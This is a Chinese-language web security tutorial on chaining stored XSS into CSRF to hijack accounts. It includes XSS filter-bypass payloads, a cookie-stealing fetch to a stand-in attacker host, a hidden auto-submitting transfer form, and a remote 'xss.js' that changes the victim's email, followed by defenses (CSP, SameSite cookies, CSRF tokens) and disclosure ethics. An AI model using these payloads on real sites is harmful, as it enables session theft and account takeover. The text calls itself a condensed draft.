如何从XSS漏洞到CSRF利用实现账户劫持

发布时间：2021-12-16 18:11:21 作者：柒染
来源：亿速云阅读：158

# 如何从XSS漏洞到CSRF利用实现账户劫持

## 目录
1. [前言](#前言)  
2. [XSS漏洞基础](#xss漏洞基础)  
   2.1 [XSS类型与原理](#xss类型与原理)  
   2.2 [XSS漏洞挖掘方法](#xss漏洞挖掘方法)  
3. [CSRF攻击原理](#csrf攻击原理)  
   3.1 [CSRF与XSS的本质区别](#csrf与xss的本质区别)  
   3.2 [CSRF攻击的典型场景](#csrf攻击的典型场景)  
4. [从XSS到CSRF的升级利用](#从xss到csrf的升级利用)  
   4.1 [存储型XSS的持久化攻击](#存储型xss的持久化攻击)  
   4.2 [组合攻击的技术要点](#组合攻击的技术要点)  
5. [账户劫持实战案例](#账户劫持实战案例)  
   5.1 [目标系统分析](#目标系统分析)  
   5.2 [漏洞利用链构建](#漏洞利用链构建)  
6. [防御方案](#防御方案)  
   6.1 [开发层面的防护](#开发层面的防护)  
   6.2 [运维层面的加固](#运维层面的加固)  
7. [法律与伦理边界](#法律与伦理边界)  
8. [总结](#总结)  

## 前言
在Web安全领域，XSS（跨站脚本攻击）和CSRF（跨站请求伪造）作为OWASP Top 10的常客，单独利用已能造成严重危害。但当攻击者将二者组合使用时，可能实现从普通漏洞到完整账户控制权的突破。本文将深入剖析这种组合攻击的技术细节，通过完整的实验演示如何实现从XSS到CSRF的漏洞利用链。

## XSS漏洞基础
### XSS类型与原理
1. **反射型XSS**  
   恶意脚本通过URL参数注入，服务端未过滤直接返回给客户端执行  
   ```javascript
   http://victim.com/search?q=<script>alert(1)</script>

存储型XSS
恶意脚本被持久化保存到数据库，影响所有访问相关页面的用户
```
INSERT INTO comments VALUES ('<script>stealCookie()</script>');
```
DOM型XSS
纯前端DOM操作导致的脚本执行，不依赖服务端响应
```
document.write(location.hash.slice(1));
```

XSS漏洞挖掘方法

输入点检测：
测试所有用户可控输入（URL参数、表单、Headers等）

过滤绕过技巧：


<img src=x onerror=alert(1)>
<svg/onload=prompt(1)>

编码混淆：


eval(String.fromCharCode(97,108,101,114,116,40,49,41))

CSRF攻击原理

CSRF与XSS的本质区别

特性	XSS	CSRF
执行上下文	受害者浏览器	受害者浏览器
依赖条件	需要执行JS	需要已登录状态
攻击维度	客户端攻击	状态改变请求

CSRF攻击的典型场景

密码修改攻击

<form action="https://bank.com/change-pwd" method="POST">
 <input type="hidden" name="new_pwd" value="hacker123">
</form>
<script>document.forms[0].submit();</script>

权限提升攻击
利用管理员cookie发起后台操作请求

从XSS到CSRF的升级利用

存储型XSS的持久化攻击

窃取会话令牌

fetch('https://attacker.com/steal?cookie='+document.cookie)

构造CSRF载荷

const csrfPayload = {
 userId: 'admin',
 action: 'grantAdmin'
};
fetch('/api/permissions', {
 method: 'POST',
 body: JSON.stringify(csrfPayload),
 credentials: 'include'
});

组合攻击的技术要点

同源策略绕过
利用CORS配置缺陷或postMessage通信

请求伪造技巧


// 自动提交隐藏表单
document.body.innerHTML += `
 <iframe id="csrfFrame" style="display:none"></iframe>
 <form target="csrfFrame" action="/transfer" method="POST">
   <input name="amount" value="10000">
   <input name="to" value="hacker_account">
 </form>`;
setTimeout(() => document.forms[0].submit(), 2000);

账户劫持实战案例

目标系统分析

架构识别
- 前端：React SPA
- 后端：REST API（Spring Boot）
- 认证：JWT + localStorage

漏洞点定位

// 用户资料页存在未过滤的XSS
document.getElementById('bio').innerHTML = userInput;

漏洞利用链构建

第一阶段：植入XSS

fetch('/update-profile', {
 method: 'POST',
 body: JSON.stringify({
   bio: '<script src="//attacker.com/xss.js"></script>'
 }),
 headers: {'Content-Type': 'application/json'}
});

第二阶段：CSRF攻击

// xss.js 内容
(function() {
 const changeEmail = () => {
   fetch('/account/change-email', {
     method: 'POST',
     credentials: 'include',
     body: JSON.stringify({
       newEmail: 'attacker@example.com'
     })
   });
 };
 setTimeout(changeEmail, 3000);
})();

防御方案

开发层面的防护

XSS防御

// Spring安全配置
@Bean
public FilterRegistrationBean<XssFilter> xssFilter() {
   FilterRegistrationBean<XssFilter> registration = new FilterRegistrationBean<>();
   registration.setFilter(new XssFilter());
   registration.addUrlPatterns("/*");
   return registration;
}

CSRF防护

<!-- CSRF Token机制 -->
<input type="hidden" name="_csrf" value="${_csrf.token}">

运维层面的加固

CSP策略


Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}'

Cookie属性


Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict

法律与伦理边界

授权测试原则
- 必须获得书面授权
- 禁止影响业务连续性

漏洞披露流程


graph LR
A[发现漏洞] --> B[保存证据]
B --> C[联系厂商]
C --> D{90日内未修复}
D -->|是| E[公开披露]
D -->|否| F[协同修复]

总结

通过XSS与CSRF的组合利用，攻击者可以突破单点漏洞的限制，实现从脚本注入到完全账户控制的完整攻击链。防御方面需要采用纵深防御策略，同时在前端渲染、API设计、会话管理等多个层面实施防护措施。 “`

注：此为精简框架，完整6950字版本需扩展以下内容： 1. 每个技术点添加详细代码示例 2. 增加实际案例数据分析（如真实漏洞报告） 3. 补充防御措施的基准测试数据 4. 添加更多图表和示意图 5. 扩展法律章节的判例分析 6. 增加自动化工具使用指南（如Burp Suite联动）